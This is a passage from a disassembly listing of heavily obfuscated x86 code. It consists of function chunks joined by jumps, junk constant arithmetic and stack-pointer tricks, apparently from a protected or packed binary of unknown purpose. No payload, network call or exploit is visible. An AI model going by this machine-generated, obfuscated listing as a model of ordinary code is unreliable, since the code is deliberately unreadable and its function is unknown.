		xor	[esp+1Eh+var_1E], eax
		xor	eax, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], ebp
		push	[esp+1Eh+var_1A]
		mov	ebp, [esp+22h+var_22]
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 143F576Fh
		shl	ebp, 2
		xor	ebp, 50FD5DB8h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		push	eax
		push	[esp+2Ah+var_26]
		pop	eax
		pop	dword ptr [esp+0]
		jmp	loc_5A2EB8
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5AAF67:				; CODE XREF: sub_59F02F-4450j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59FF7E
; END OF FUNCTION CHUNK	FOR sub_59F02F

; =============== S U B	R O U T	I N E =======================================



sub_5AAF7A	proc near		; DATA XREF: sdfs____:0059905Co

var_14		= dword	ptr -14h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005A109C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A19A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A7986 SIZE 00000017 BYTES

		lodsd
		push	ecx
		mov	ecx, 52027A87h
		sub	esi, ecx
		pop	ecx
		add	esi, eax
		push	edx
		push	76BAh
		mov	[esp+8+var_8], esi
		push	ebp
		mov	ebp, 24D1598Bh
		push	edi
		push	32C12269h
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		add	edi, 4412B1A9h
		jmp	loc_5A19A4
sub_5AAF7A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AAFAF:				; CODE XREF: sub_5ADD33+9j
		push	esp
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59AFD3
; END OF FUNCTION CHUNK	FOR sub_5ADD33

; =============== S U B	R O U T	I N E =======================================



sub_5AAFCA	proc near		; CODE XREF: sub_599A6F+AA91j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A4DD2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A681B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A95F9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AFAA9 SIZE 00000014 BYTES

		push	bx
		mov	bh, 2Fh
		or	dl, bh
		pop	bx
		jmp	loc_5A681B
sub_5AAFCA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AAFD7:				; CODE XREF: sub_5AA2D1-7251j
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5AA30F
; ---------------------------------------------------------------------------


loc_5AAFE0:				; CODE XREF: sub_5AA2D1+27A1j
		mov	eax, ebp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		sub	esi, 2E19354Ah
		sub	esi, eax
		add	esi, 2E19354Ah
		pop	eax
		and	ecx, esi
		mov	esi, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_59CF29
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599509


loc_5AB007:				; CODE XREF: sub_599509+4BA0j
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		pop	[esp+4+var_4]
		jmp	loc_5AAEDC
; END OF FUNCTION CHUNK	FOR sub_599509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AB018:				; CODE XREF: sub_5A0FFF+B17Dj
		mov	[esp+26h+var_26], ebp
		jmp	loc_5A62B8
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5AB020:				; CODE XREF: sub_5A355D+B4E7j
					; sub_5AC803+2325j
		push	esp
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_59EA94
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------


loc_5AB02C:				; CODE XREF: sdfs____:0059AA55j
		mov	esi, 1
		add	ebp, esi
		jmp	loc_5ACCEC
; ---------------------------------------------------------------------------


loc_5AB038:				; CODE XREF: sdfs____:005AE709j
		jle	loc_5A7CB0
		push	0F12h
		mov	[esp], ebx
		jmp	loc_599597
; ---------------------------------------------------------------------------
		add	ebp, edx
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB04D:				; CODE XREF: sub_5AA2D1-918Dj
		mov	esp, [esp+10h+var_10]
		mov	word ptr [esp+10h+var_10], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AB059:				; CODE XREF: sub_59A26C-1F5j
					; sub_5AA2D1+47E1j
		or	word ptr [esp+10h+var_10], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AB063:				; CODE XREF: sub_5A7BA0-B840j
		inc	eax
		xor	eax, 8945C9BCh
		jmp	loc_5A690E
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A68A5


loc_5AB06E:				; CODE XREF: sub_5A68A5-527Ej
		pop	esp
		jmp	loc_59ECC2
; END OF FUNCTION CHUNK	FOR sub_5A68A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB074:				; CODE XREF: sub_5AA2D1-10890j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AB079:				; CODE XREF: sub_59C979+3320j
		pop	esp
		sub	edi, edx
		pop	edx
		jmp	loc_59EE8B
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5AB082:				; CODE XREF: sub_5A913B-3262j
		push	edx
		push	4CD6h
		jmp	loc_59F0A3
; END OF FUNCTION CHUNK	FOR sub_5A913B

; =============== S U B	R O U T	I N E =======================================



sub_5AB08D	proc near		; DATA XREF: sdfs____:00598F70o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 005998D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059996C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00599EB3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A890 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059C018 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059DA0F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E69E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F2C7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1E3E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AB0E0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AFF8E SIZE 0000002D BYTES

		mov	cx, [esp+0]
		push	3394h
		mov	[esp+4+var_4], ebp
		push	4361h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_5998D8
sub_5AB08D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB0AD:				; CODE XREF: sub_5AA2D1-7075j
		add	cl, 0D2h
		pop	dx
		push	small 43Bh
		jmp	loc_5A832C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5AB0BB:				; CODE XREF: sub_599A61+DB8Ej
		mov	ebp, 472353FAh
		jmp	loc_5AD4EB
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E58


loc_5AB0C5:				; CODE XREF: sub_599E58+C616j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599E58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AB0CA:				; CODE XREF: sub_5A5EFF-3936j
		add	ebp, 8CF48CABh
		jmp	loc_5ADACB
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB0D5:				; CODE XREF: sub_5AA2D1:loc_59EF96j
		jmp	loc_5AA995
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A765F


loc_5AB0DA:				; CODE XREF: sub_5A765F-4F09j
		pop	ebx
		jmp	loc_5AEE08
; END OF FUNCTION CHUNK	FOR sub_5A765F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_5AB0E0:				; CODE XREF: sub_5AB08D-C9EEj
		mov	edi, 2BC23083h
		mov	eax, edi
		jmp	loc_59C018
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5AB0EC:				; CODE XREF: sub_5AA2D1-9F08j
					; sub_5A18F6+1E4Cj
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 4
		sub	esi, 7D586BE1h
		add	esi, ebx
		add	esi, 7D586BE1h
		pop	ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		push	73343F8Eh
		push	[esp+14h+var_14]
		pop	edi
		jmp	loc_5AE5AA
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AB120:				; CODE XREF: sub_5A503A-2E50j
					; sub_5992DA+14467j
		xor	eax, edx
		jmp	loc_59FC9E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AB127:				; CODE XREF: sub_5B01F7-131F4j
		mov	ebp, ebx
		mov	ebx, [esp+1Eh+var_20+2]
		push	ebp
		jmp	loc_5AB91D
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8B3E


loc_5AB132:				; CODE XREF: sub_5A8B3E+4j
		push	6E77h
		jmp	loc_5AD07D
; END OF FUNCTION CHUNK	FOR sub_5A8B3E
; ---------------------------------------------------------------------------


loc_5AB13C:				; CODE XREF: sdfs____:005AD917j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5AB152:				; CODE XREF: sub_59D37E+293Dj
		pop	ebx
		jmp	loc_5AEEEB
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_5AB158:				; CODE XREF: sub_59A4E8+7555j
		push	edi
		jmp	loc_59AEA9
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5AB15E:				; CODE XREF: sub_5A9EC5-8015j
		pop	eax
		push	eax
		mov	al, 30h
		sub	ch, al
		pop	eax
		xor	ch, 0D4h
		xor	al, ch
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		jmp	loc_5A0F0F
; END OF FUNCTION CHUNK	FOR sub_5A9EC5

; =============== S U B	R O U T	I N E =======================================



sub_5AB179	proc near		; CODE XREF: sub_5A1726-1008j

; FUNCTION CHUNK AT 005A01FC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2072 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005AF6DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AFD00 SIZE 00000017 BYTES

		push	ebp
		jmp	loc_5A2072
sub_5AB179	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_5AB17F:				; CODE XREF: sub_5A3C19-810j
		pop	ecx
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5ABF5B
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5AB198:				; CODE XREF: sub_59FC02-34E2j
		sub	ecx, ebp
		jmp	loc_5ADAB8
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB19F:				; CODE XREF: sub_5AA2D1-5D91j
		push	6F29h
		mov	[esp+0], eax
		mov	eax, 13A32EA0h
		sub	[esp-2+arg_4+2], eax
		pop	eax
		pop	edx
		mov	edi, [esp-0Ah+arg_4+2]
		push	esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 41AC0332h
		add	eax, 0BE53FCD2h
		add	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_5AF00A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AB1D1:				; CODE XREF: sub_59C979+82F0j
		push	edx
		mov	edx, 36697C76h
		shl	edx, 7
		add	edx, 0B5F4F66h
		jmp	loc_5A0980
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AB1E5:				; CODE XREF: sub_5A0AA2+764Fj
		push	esi
		mov	esi, 4
		jmp	loc_5AA77E
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AB1F0:				; CODE XREF: sub_59D6B8+7244j
		pop	ebp
		mov	edi, ebx
		jmp	loc_5AB40A
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5AB1F8:				; CODE XREF: sub_5AD213-689Cj
		pop	[esp+10h+var_10]
		add	[esp+0Ch+var_C], 4
		jmp	loc_5A44DB
; END OF FUNCTION CHUNK	FOR sub_5AD213

; =============== S U B	R O U T	I N E =======================================



sub_5AB207	proc near		; CODE XREF: sub_5A06DD+4129j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00599872 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059ADC0 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059CE05 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DC7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DDE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EA61 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F22F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FB50 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A2803 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A5087 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6DC5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A87A2 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A8C20 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A9592 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AE6AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AF252 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005B03F6 SIZE 00000010 BYTES

		push	ebx
		jmp	loc_5A9592
sub_5AB207	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB20D:				; CODE XREF: sub_5AA2D1-B3Dj
		jmp	loc_59C4C3
; ---------------------------------------------------------------------------


loc_5AB212:				; CODE XREF: sub_5AA2D1-7ABBj
		xor	esi, 73E5BC15h
		mov	ebp, esi
		jmp	loc_59BD95
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AB21F:				; CODE XREF: sub_59D6B8+9752j
		mov	ecx, 408A69E5h
		and	ecx, 77BF66E1h
		xor	ecx, 91A404Dh
		add	edi, ecx
		pop	ecx
		jmp	loc_59A5A7
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5AB238:				; CODE XREF: sub_59D4FD+6j
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		add	esi, 4
		push	ecx
		jmp	loc_5A0E4E
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5AB256:				; CODE XREF: sub_5A118F:loc_59DE46j
		dec	ebx
		xor	ebx, 8E519B0h
		js	loc_5AE665
		shr	ebx, 7
		jmp	loc_5AA70B
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5330


loc_5AB26B:				; CODE XREF: sub_5A5330-14EDj
		pop	eax
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		add	ecx, 4
		jmp	loc_59BF9E
; END OF FUNCTION CHUNK	FOR sub_5A5330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AB27B:				; CODE XREF: sub_5992DA+A687j
		and	ah, 6Dh
		add	ah, 53h
		sub	bl, ah
		pop	eax
		xor	al, bl
		mov	ebx, [esp+32h+var_32]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+32h+var_32]
		pop	esp
		mov	[esp+2Eh+var_2E], eax
		push	ecx
		mov	cl, 7Eh
		mov	ah, 0E1h
		sub	ah, cl
		pop	ecx
		sub	bl, ah
		push	[esp+2Eh+var_2E]
		pop	eax
		add	esp, 4
		add	bl, 0C1h
		add	bl, 43h
		add	bl, al
		sub	bl, 43h
		push	small 68FDh
		mov	word ptr [esp+2Ch+var_2E+2], dx
		mov	dl, 0C1h
		sub	bl, dl
		jmp	loc_5A1C96
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AB2D1:				; CODE XREF: sub_5A63DC+4AB6j
		push	1E311458h
		pop	ebp
		xor	ebp, edx
		mov	edx, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AFDA2
; END OF FUNCTION CHUNK	FOR sub_5A63DC

; =============== S U B	R O U T	I N E =======================================



sub_5AB2EA	proc near		; CODE XREF: sub_59C2B8-1589j
					; sub_599A61+339Dj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005A57F2 SIZE 0000001D BYTES

		push	ebp
		push	esp
		jmp	loc_5A57F2
sub_5AB2EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB2F1:				; CODE XREF: sub_5AA2D1+6C9j
		push	ax
		jmp	loc_5A86E2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_5AB2F8:				; CODE XREF: sub_5AB622-900Cj
		add	edi, 40AF19A0h
		jg	loc_5AE496
		shl	edi, 2
		jmp	loc_5A2F9A
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
		or	bh, 45h
		push	esp
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB310:				; CODE XREF: sub_5AA2D1:loc_59D33Ej
					; sub_5AF9B3+572j
		add	eax, 1
		xor	eax, 2BB95551h
		add	eax, 0D737728h
		jmp	loc_5AFAD1
; ---------------------------------------------------------------------------


loc_5AB322:				; CODE XREF: sub_5AA2D1-74AEj
		sub	ah, bh
		pop	ebx
		xor	ch, ah
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	bx
		mov	bh, 37h
		jmp	loc_59D643
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5AB339:				; CODE XREF: sub_5AC803-F7BBj
		mov	bh, al
		jmp	loc_5A10FD
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB340:				; CODE XREF: sub_5AA2D1-426Cj
		sub	edx, 4ED1F92Eh
		sub	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	6127h
		mov	[esp+8+var_8], esi
		jmp	loc_5A29D8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_5AB35C:				; CODE XREF: sub_59BA35+13CBEj
		shr	esi, 6
		sub	esp, 4
		jmp	loc_59A4A9
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_5AB367:				; CODE XREF: sub_5ABE0D+1D4Ej
		push	edx
		jmp	loc_5A0BD8
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB36D:				; CODE XREF: sub_5AA2D1-70FEj
		not	ebx
		jmp	sub_5B03B3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AB374:				; CODE XREF: sub_5AA2D1+534Aj
					; sub_59CBE1+13101j
		add	esp, 4
		add	edx, ebx
		jmp	loc_5AF139
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AB37E:				; CODE XREF: sub_5A6BBC+62Fj
		mov	esi, [esp+4+var_4]
		add	esp, 4
		and	ecx, ebp
		jmp	loc_59ACEB
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7508


loc_5AB38E:				; CODE XREF: sub_5A7508-A82Fj
		jmp	loc_5A6D72
; END OF FUNCTION CHUNK	FOR sub_5A7508
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4F24h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59998E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AB3A6:				; CODE XREF: sub_59D6B8-249Dj
		jmp	loc_5ABB40
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5AB3AB:				; CODE XREF: sub_5AC18D-11C7Cj
		pop	edx
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		sub	edx, 4D746AACh
		jmp	loc_5A9F1A
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_5AB3BF:				; CODE XREF: sub_599A6F+450j
		xor	ah, 0ABh
		sub	bh, ah
		pop	eax
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	al, bl
		push	edx
		jmp	loc_5A44FE
; END OF FUNCTION CHUNK	FOR sub_599A6F

; =============== S U B	R O U T	I N E =======================================



sub_5AB3DB	proc near		; CODE XREF: sub_59F1C3+1D95j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059E828 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E8FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059ED18 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A06AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3A04 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3D4A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8267 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A862A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A9873 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A98AF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9E25 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005ACC65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AFA46 SIZE 0000000A BYTES

		sub	esp, 4
		jmp	loc_5A98AF
sub_5AB3DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5AB3E3:				; CODE XREF: sub_5A118F+Aj
		mov	edx, 33A57246h
		and	eax, edx
		pop	edx
		jmp	loc_5ADD00
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AB3F0:				; CODE XREF: sub_59C979-18BCj
		or	eax, 7D9A698Eh
		jmp	loc_5AF4EE
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5AB3FA:				; CODE XREF: sub_5A77D5-7055j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp+4+var_4]
		jmp	loc_59B25C
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AB40A:				; CODE XREF: sub_59D6B8+DB3Bj
		mov	ebx, [esp+0]
		add	esp, 4
		not	edi
		push	ebx
		jmp	loc_5A1F73
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADBA5


loc_5AB41B:				; CODE XREF: sub_5ADBA5-A2FCj
		add	cl, 39h
		jmp	loc_5A834F
; END OF FUNCTION CHUNK	FOR sub_5ADBA5
; ---------------------------------------------------------------------------


loc_5AB423:				; CODE XREF: sdfs____:0059A665j
		mov	ebx, esp
		jmp	loc_5A928B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7BE5h
		mov	[esp], edx
		push	esp
		pop	edx
		push	44C5h
		jmp	loc_5A76D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AB442:				; CODE XREF: sub_59EE3E+745Cj
					; sub_5A477C+1FC0j
		add	ebx, 1F06FFEAh
		jmp	loc_5AE49E
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5AB44D:				; CODE XREF: sub_5AA2D1-9C27j
					; sub_5A0FFF+816j
		mov	bh, al
		mov	dl, bh
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		push	edx
		jmp	loc_5A2429
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5AB461:				; CODE XREF: sub_5AD6D4+1j
		push	edi
		jmp	loc_5AD579
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5AB467:				; CODE XREF: sub_5A5B27-1458j
		shl	eax, 8
		jnz	loc_59EC47
		dec	eax
		jnz	loc_5ACB2B
		xor	eax, 1E7296h
		sub	ah, 63h
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5AB47F:				; CODE XREF: sub_5A77D5-969Ej
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AF5B3
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C2A6


loc_5AB48E:				; CODE XREF: sub_59C2A6+6j
		mov	[esp+4+var_4], ebp
		mov	ebp, 0C7C08EFh
		push	esi
		mov	esi, 6BA87B44h
		jmp	loc_5A166C
; END OF FUNCTION CHUNK	FOR sub_59C2A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AB4A1:				; CODE XREF: sub_59C979+BCAj
		pop	[esp-12h+arg_E]
		mov	esp, [esp+0]
		jmp	loc_5A45C5
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AB4AC:				; CODE XREF: sub_59A479+AD86j
		jge	loc_5A13A8
		xor	eax, 4FEC8778h
